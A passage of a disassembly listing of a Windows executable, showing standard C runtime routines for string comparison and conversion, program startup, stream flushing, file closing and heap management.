inc edi
dec eax
jz short loc_41DF8A
loc_41DF6D: ; CODE XREF: sub_41DF40+20j
; sub_41DF40+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41DFBA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41DFBA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41DF6D
loc_41DF8A: ; CODE XREF: sub_41DF40+2Bj
; sub_41DF40+84j
pop edi
pop esi
locret_41DF8C: ; CODE XREF: sub_41DF40+6j
retn
; ---------------------------------------------------------------------------
loc_41DF8D: ; CODE XREF: sub_41DF40+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41DFC2
repe cmpsd
jz short loc_41DFC2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41DFB5
cmp ch, dh
jnz short loc_41DFB5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41DFB5
cmp ch, dh
loc_41DFB5: ; CODE XREF: sub_41DF40+63j
; sub_41DF40+67j ...
mov eax, 0
loc_41DFBA: ; CODE XREF: sub_41DF40+26j
; sub_41DF40+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DFC2: ; CODE XREF: sub_41DF40+55j
; sub_41DF40+59j
test eax, eax
jz short loc_41DF8A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41DFB5
dec eax
jz short loc_41DFE9
cmp dh, ch
jnz short loc_41DFB5
dec eax
jz short loc_41DFE9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41DFB5
dec eax
loc_41DFE9: ; CODE XREF: sub_41DF40+8Fj
; sub_41DF40+96j
pop edi
pop esi
retn
sub_41DF40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DFEC proc near ; CODE XREF: sub_4185B5+6p
; sub_4185D3+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBE84, 0
push ebx
push esi
push edi
jnz short loc_41E019
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41E0B2
cmp eax, 5Ah
jg loc_41E0B2
add eax, 20h
jmp loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E019: ; CODE XREF: sub_41DFEC+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41E04D
cmp dword_43D084, esi
jle short loc_41E03B
push esi
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41E045
; ---------------------------------------------------------------------------
loc_41E03B: ; CODE XREF: sub_41DFEC+42j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, esi
loc_41E045: ; CODE XREF: sub_41DFEC+4Dj
test eax, eax
jnz short loc_41E04D
loc_41E049: ; CODE XREF: sub_41DFEC+ADj
mov eax, ebx
jmp short loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E04D: ; CODE XREF: sub_41DFEC+3Aj
; sub_41DFEC+5Bj
mov edx, off_43CE78
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41E071
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41E07A
; ---------------------------------------------------------------------------
loc_41E071: ; CODE XREF: sub_41DFEC+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41E07A: ; CODE XREF: sub_41DFEC+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4DBE84
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_41E049
cmp eax, esi
jnz short loc_41E0A5
movzx eax, [ebp+var_4]
jmp short loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E0A5: ; CODE XREF: sub_41DFEC+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41E0B2: ; CODE XREF: sub_41DFEC+16j
; sub_41DFEC+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41DFEC endp
; =============== S U B R O U T I N E =======================================
sub_41E0B7 proc near ; CODE XREF: sub_418AF1+ADp
; sub_419AE0+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41E0CE
loc_41E0C4: ; CODE XREF: sub_41E0B7+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41E0C4
loc_41E0CE: ; CODE XREF: sub_41E0B7+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41E0B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E0D4 proc near ; CODE XREF: sub_418AF1+7Fp
; sub_418AF1+90p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41E1A1
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41E1CE
cmp dword_4DBE84, esi
jnz short loc_41E125
cmp edi, esi
jbe loc_41E1CE
loc_41E104: ; CODE XREF: sub_41E0D4+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41E1CE
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41E104
jmp loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E125: ; CODE XREF: sub_41E0D4+26j
mov ebx, [ebp+arg_4]
mov esi, dword_4270E8
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4DBE94
call esi ; MultiByteToWideChar
test eax, eax
jnz loc_41E1CD
call dword_427094 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_41E15F
loc_41E150: ; CODE XREF: sub_41E0D4+CBj
; sub_41E0D4+F7j
mov dword_4DBDDC, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E15F: ; CODE XREF: sub_41E0D4+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41E167: ; CODE XREF: sub_41E0D4+B3j
mov cl, [eax]
test cl, cl
jz short loc_41E189
mov edx, off_43CE78
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41E17E
inc eax
loc_41E17E: ; CODE XREF: sub_41E0D4+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41E167
loc_41E189: ; CODE XREF: sub_41E0D4+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4DBE94
call esi ; MultiByteToWideChar
test eax, eax
jnz short loc_41E1CE
jmp short loc_41E150
; ---------------------------------------------------------------------------
loc_41E1A1: ; CODE XREF: sub_41E0D4+Fj
cmp dword_4DBE84, esi
jnz short loc_41E1B4
push [ebp+arg_4]
call sub_41B9C0
pop ecx
jmp short loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E1B4: ; CODE XREF: sub_41E0D4+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4DBE94
call dword_4270E8 ; MultiByteToWideChar
cmp eax, esi
jz short loc_41E150
loc_41E1CD: ; CODE XREF: sub_41E0D4+6Bj
dec eax
loc_41E1CE: ; CODE XREF: sub_41E0D4+1Aj
; sub_41E0D4+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41E0D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E1D3 proc near ; CODE XREF: start+189j
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427700
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp+var_18], esp
call dword_4271B0 ; GetVersion
xor edx, edx
mov dl, ah
mov dword_4DBDF4, edx
mov ecx, eax
and ecx, 0FFh
mov dword_4DBDF0, ecx
shl ecx, 8
add ecx, edx
mov dword_4DBDEC, ecx
shr eax, 10h
mov dword_4DBDE8, eax
xor esi, esi
push esi
call sub_41E672
pop ecx
test eax, eax
jnz short loc_41E23F
push 1Ch
call sub_41E2EE
pop ecx
loc_41E23F: ; CODE XREF: sub_41E1D3+62j
mov [ebp+var_4], esi
call sub_423B0B
call dword_4271AC ; GetCommandLineA
mov dword_4DD38C, eax
call sub_4239D9
mov dword_4DBE34, eax
call sub_42378C
call sub_4236D3
call sub_41C164
mov [ebp+var_30], esi
lea eax, [ebp+var_5C]
push eax
call dword_4271A8 ; GetStartupInfoA
call sub_42367B
mov [ebp+var_64], eax
test byte ptr [ebp+var_30], 1
jz short loc_41E28C
movzx eax, [ebp+var_2C]
jmp short loc_41E28F
; ---------------------------------------------------------------------------
loc_41E28C: ; CODE XREF: sub_41E1D3+B1j
push 0Ah
pop eax
loc_41E28F: ; CODE XREF: sub_41E1D3+B7j
push eax
push [ebp+var_64]
push esi
push esi
call dword_4270A4 ; GetModuleHandleA
push eax
call sub_401221
mov [ebp+var_60], eax
push eax
call sub_41C191
mov eax, [ebp+var_14]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp+var_68], ecx
push eax
push ecx
call sub_4234F7
pop ecx
pop ecx
retn
sub_41E1D3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_41C1A2
; =============== S U B R O U T I N E =======================================
sub_41E2C9 proc near ; CODE XREF: sub_41DA32+16p
; sub_4236D3+4Ep ...
arg_0 = dword ptr 4
cmp dword_4DBE3C, 1
jnz short loc_41E2D7
call sub_423D98
loc_41E2D7: ; CODE XREF: sub_41E2C9+7j
push [esp+arg_0]
call sub_423DD1
push 0FFh
call off_43AE40
pop ecx
pop ecx
retn
sub_41E2C9 endp
; =============== S U B R O U T I N E =======================================
sub_41E2EE proc near ; CODE XREF: sub_41E1D3+66p
arg_0 = dword ptr 4
cmp dword_4DBE3C, 1
jnz short loc_41E2FC
call sub_423D98
loc_41E2FC: ; CODE XREF: sub_41E2EE+7j
push [esp+arg_0]
call sub_423DD1
pop ecx
push 0FFh
call dword_42706C ; ExitProcess
retn
sub_41E2EE endp
; =============== S U B R O U T I N E =======================================
sub_41E312 proc near ; CODE XREF: sub_41BA3B+2Ap
; sub_42423B+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4DD140
jnb loc_41E3AC
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41E3AC
push edi
call sub_4240AA
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E38B
cmp edi, 1
jz short loc_41E359
cmp edi, 2
jnz short loc_41E36F
loc_41E359: ; CODE XREF: sub_41E312+40j
push 2
call sub_4240AA
push 1
mov ebp, eax
call sub_4240AA
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41E38B
loc_41E36F: ; CODE XREF: sub_41E312+45j
push edi
call sub_4240AA
pop ecx
push eax
call dword_427070 ; CloseHandle
test eax, eax
jnz short loc_41E38B
call dword_427094 ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_41E38D
; ---------------------------------------------------------------------------
loc_41E38B: ; CODE XREF: sub_41E312+3Bj
; sub_41E312+5Bj ...
xor ebp, ebp
loc_41E38D: ; CODE XREF: sub_41E312+77j
push edi
call sub_424030
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41E3A8
push ebp
call sub_420C7F
pop ecx
jmp short loc_41E3BD
; ---------------------------------------------------------------------------
loc_41E3A8: ; CODE XREF: sub_41E312+8Bj
xor eax, eax
jmp short loc_41E3C0
; ---------------------------------------------------------------------------
loc_41E3AC: ; CODE XREF: sub_41E312+Ej
; sub_41E312+2Fj
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_41E3BD: ; CODE XREF: sub_41E312+94j
or eax, 0FFFFFFFFh
loc_41E3C0: ; CODE XREF: sub_41E312+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E312 endp
; =============== S U B R O U T I N E =======================================
sub_41E3C5 proc near ; CODE XREF: sub_41BA3B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41E3EE
test al, 8
jz short loc_41E3EE
push dword ptr [esi+8]
call sub_41BA91
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41E3EE: ; CODE XREF: sub_41E3C5+Aj
; sub_41E3C5+Ej
pop esi
retn
sub_41E3C5 endp
; =============== S U B R O U T I N E =======================================
sub_41E3F0 proc near ; CODE XREF: sub_41E490+2Dp
; sub_41E490+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41E402
push esi
call sub_41E490
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E402: ; CODE XREF: sub_41E3F0+7j
push esi
call sub_41E42B
test eax, eax
pop ecx
jz short loc_41E412
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E412: ; CODE XREF: sub_41E3F0+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41E427
push dword ptr [esi+10h]
call sub_4240E7
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E427: ; CODE XREF: sub_41E3F0+26j
xor eax, eax
pop esi
retn
sub_41E3F0 endp
; =============== S U B R O U T I N E =======================================
sub_41E42B proc near ; CODE XREF: sub_41BA3B+1Ap
; sub_41DA8B+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41E478
test ax, 108h
jz short loc_41E478
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41E478
push edi
push eax
push dword ptr [esi+10h]
call sub_4230FB
add esp, 0Ch
cmp eax, edi
jnz short loc_41E471
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41E478
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41E478
; ---------------------------------------------------------------------------
loc_41E471: ; CODE XREF: sub_41E42B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41E478: ; CODE XREF: sub_41E42B+14j
; sub_41E42B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41E42B endp
; =============== S U B R O U T I N E =======================================
sub_41E487 proc near ; CODE XREF: sub_4241E3p
push 1
call sub_41E490
pop ecx
retn
sub_41E487 endp
; =============== S U B R O U T I N E =======================================
sub_41E490 proc near ; CODE XREF: sub_41E3F0+Ap
; sub_41E487+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4DD020, esi
jle short loc_41E4EE
loc_41E4A1: ; CODE XREF: sub_41E490+5Cj
mov eax, dword_4DC01C
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41E4E5
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41E4E5
cmp [esp+0Ch+arg_0], 1
jnz short loc_41E4CB
push eax
call sub_41E3F0
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E4E5
inc ebx
jmp short loc_41E4E5
; ---------------------------------------------------------------------------
loc_41E4CB: ; CODE XREF: sub_41E490+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41E4E5
test cl, 2
jz short loc_41E4E5
push eax
call sub_41E3F0
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41E4E5
or edi, eax
loc_41E4E5: ; CODE XREF: sub_41E490+1Bj
; sub_41E490+23j ...
inc esi
cmp esi, dword_4DD020
jl short loc_41E4A1
loc_41E4EE: ; CODE XREF: sub_41E490+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41E4F9
mov eax, edi
loc_41E4F9: ; CODE XREF: sub_41E490+65j
pop edi
pop esi
pop ebx
retn
sub_41E490 endp
; =============== S U B R O U T I N E =======================================
sub_41E4FD proc near ; CODE XREF: sub_41E52A+136p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call dword_4270A4 ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_41E528
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41E528
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41E528: ; CODE XREF: sub_41E4FD+15j
; sub_41E4FD+1Cj
pop esi
retn
sub_41E4FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E52A proc near ; CODE XREF: sub_41E672+20p
var_122C = byte ptr -122Ch
var_19C = byte ptr -19Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_41C500
lea eax, [ebp+var_98]
push ebx
push eax
mov [ebp+var_98], 94h
call dword_4270D0 ; GetVersionExA
test eax, eax
jz short loc_41E56D
cmp [ebp+var_88], 2
jnz short loc_41E56D
cmp [ebp+var_94], 5
jb short loc_41E56D
push 1
pop eax
jmp loc_41E66F
; ---------------------------------------------------------------------------
loc_41E56D: ; CODE XREF: sub_41E52A+27j
; sub_41E52A+30j ...
lea eax, [ebp+var_122C]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call dword_4271B4 ; GetEnvironmentVariableA
test eax, eax
jz loc_41E65C
xor ebx, ebx
lea ecx, [ebp+var_122C]
cmp [ebp+var_122C], bl
jz short loc_41E5AF
loc_41E59C: ; CODE XREF: sub_41E52A+83j
mov al, [ecx]
cmp al, 61h
jl short loc_41E5AA
cmp al, 7Ah
jg short loc_41E5AA
sub al, 20h
mov [ecx], al
loc_41E5AA: ; CODE XREF: sub_41E52A+76j
; sub_41E52A+7Aj
inc ecx
cmp [ecx], bl
jnz short loc_41E59C
loc_41E5AF: ; CODE XREF: sub_41E52A+70j
lea eax, [ebp+var_122C]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41C850
add esp, 0Ch
test eax, eax
jnz short loc_41E5D1
lea eax, [ebp+var_122C]
jmp short loc_41E61A
; ---------------------------------------------------------------------------
loc_41E5D1: ; CODE XREF: sub_41E52A+9Dj
lea eax, [ebp+var_19C]
push 104h
push eax
push ebx
call dword_427078 ; GetModuleFileNameA
cmp [ebp+var_19C], bl
lea ecx, [ebp+var_19C]
jz short loc_41E605
loc_41E5F2: ; CODE XREF: sub_41E52A+D9j
mov al, [ecx]
cmp al, 61h
jl short loc_41E600
cmp al, 7Ah
jg short loc_41E600
sub al, 20h
mov [ecx], al
loc_41E600: ; CODE XREF: sub_41E52A+CCj
; sub_41E52A+D0j
inc ecx
cmp [ecx], bl
jnz short loc_41E5F2
loc_41E605: ; CODE XREF: sub_41E52A+C6j
lea eax, [ebp+var_19C]
push eax
lea eax, [ebp+var_122C]
push eax
call sub_41C2E0
pop ecx
pop ecx
loc_41E61A: ; CODE XREF: sub_41E52A+A5j
cmp eax, ebx
jz short loc_41E65C
push 2Ch
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41E65C
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41E641
loc_41E633: ; CODE XREF: sub_41E52A+115j
cmp byte ptr [ecx], 3Bh
jnz short loc_41E63C
mov [ecx], bl
jmp short loc_41E63D
; ---------------------------------------------------------------------------
loc_41E63C: ; CODE XREF: sub_41E52A+10Cj
inc ecx
loc_41E63D: ; CODE XREF: sub_41E52A+110j
cmp [ecx], bl
jnz short loc_41E633
loc_41E641: ; CODE XREF: sub_41E52A+107j
push 0Ah
push ebx
push eax
call sub_41C586
add esp, 0Ch
cmp eax, 2
jz short loc_41E66F
cmp eax, 3
jz short loc_41E66F
cmp eax, 1
jz short loc_41E66F
loc_41E65C: ; CODE XREF: sub_41E52A+5Cj
; sub_41E52A+F2j ...
lea eax, [ebp+var_4]
push eax
call sub_41E4FD
cmp [ebp+var_4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41E66F: ; CODE XREF: sub_41E52A+3Ej
; sub_41E52A+126j ...
pop ebx
leave
retn
sub_41E52A endp
; =============== S U B R O U T I N E =======================================
sub_41E672 proc near ; CODE XREF: sub_41E1D3+5Ap
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call dword_4271BC ; HeapCreate
test eax, eax
mov dword_4DD384, eax
jz short loc_41E6C8
call sub_41E52A
cmp eax, 3
mov dword_4DD388, eax
jnz short loc_41E6AE
push 3F8h
call sub_41E6CF
pop ecx
jmp short loc_41E6B8
; ---------------------------------------------------------------------------
loc_41E6AE: ; CODE XREF: sub_41E672+2Dj
cmp eax, 2
jnz short loc_41E6CB
call sub_41F216
loc_41E6B8: ; CODE XREF: sub_41E672+3Aj
test eax, eax
jnz short loc_41E6CB
push dword_4DD384
call dword_4271B8 ; HeapDestroy
loc_41E6C8: ; CODE XREF: sub_41E672+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E6CB: ; CODE XREF: sub_41E672+3Fj
; sub_41E672+48j
push 1
pop eax
retn
sub_41E672 endp
; =============== S U B R O U T I N E =======================================
sub_41E6CF proc near ; CODE XREF: sub_41E672+34p
arg_0 = dword ptr 4
push 140h
push 0
push dword_4DD384
call dword_427150 ; RtlAllocateHeap
test eax, eax
mov dword_4DD37C, eax
jnz short loc_41E6EC
retn
; ---------------------------------------------------------------------------
loc_41E6EC: ; CODE XREF: sub_41E6CF+1Aj
mov ecx, [esp+arg_0]
and dword_4DD374, 0
and dword_4DD378, 0
push 1
mov dword_4DD370, eax
mov dword_4DD380, ecx
mov dword_4DD368, 10h
pop eax
retn
sub_41E6CF endp
; =============== S U B R O U T I N E =======================================
sub_41E717 proc near ; CODE XREF: sub_41BA91+17p
; sub_41BBE2+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_4DD378
lea ecx, [eax+eax*4]
mov eax, dword_4DD37C
lea ecx, [eax+ecx*4]
loc_41E727: ; CODE XREF: sub_41E717+26j
cmp eax, ecx
jnb short loc_41E73F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41E741
add eax, 14h
jmp short loc_41E727
; ---------------------------------------------------------------------------
loc_41E73F: ; CODE XREF: sub_41E717+12j
xor eax, eax
locret_41E741: ; CODE XREF: sub_41E717+21j
retn
sub_41E717 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E742 proc near ; CODE XREF: sub_41BA91+23p
; sub_41BBE2+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41EA66
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41E818
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E7A6
push 3Fh
pop edx
loc_41E7A6: ; CODE XREF: sub_41E742+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E7FA
cmp edx, 20h
jnb short loc_41E7D1
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E7F2
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E7F2
; ---------------------------------------------------------------------------
loc_41E7D1: ; CODE XREF: sub_41E742+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E7F2
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E7F2: ; CODE XREF: sub_41E742+86j
; sub_41E742+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41E7FD
; ---------------------------------------------------------------------------
loc_41E7FA: ; CODE XREF: sub_41E742+6Aj
mov ecx, [ebp+var_4]
loc_41E7FD: ; CODE XREF: sub_41E742+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41E818: ; CODE XREF: sub_41E742+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E826
push 3Fh
pop edx
loc_41E826: ; CODE XREF: sub_41E742+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E8C9
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41E84B
mov ebx, esi
loc_41E84B: ; CODE XREF: sub_41E742+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41E85D
mov edx, esi
loc_41E85D: ; CODE XREF: sub_41E742+117j
cmp ebx, edx
jz short loc_41E8C4
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E8AC
cmp ebx, 20h
jnb short loc_41E88D
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E8AC
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E8AC
; ---------------------------------------------------------------------------
loc_41E88D: ; CODE XREF: sub_41E742+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E8AC
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E8AC: ; CODE XREF: sub_41E742+128j
; sub_41E742+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E8C4: ; CODE XREF: sub_41E742+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E8CC
; ---------------------------------------------------------------------------
loc_41E8C9: ; CODE XREF: sub_41E742+EDj
mov ebx, [ebp+arg_0]
loc_41E8CC: ; CODE XREF: sub_41E742+185j
cmp [ebp+var_C], 0
jnz short loc_41E8DA
cmp ebx, edx
jz loc_41E95B
loc_41E8DA: ; CODE XREF: sub_41E742+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E95B
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E932
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E921
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E921: ; CODE XREF: sub_41E742+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E95B
; ---------------------------------------------------------------------------
loc_41E932: ; CODE XREF: sub_41E742+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E948
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E948: ; CODE XREF: sub_41E742+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
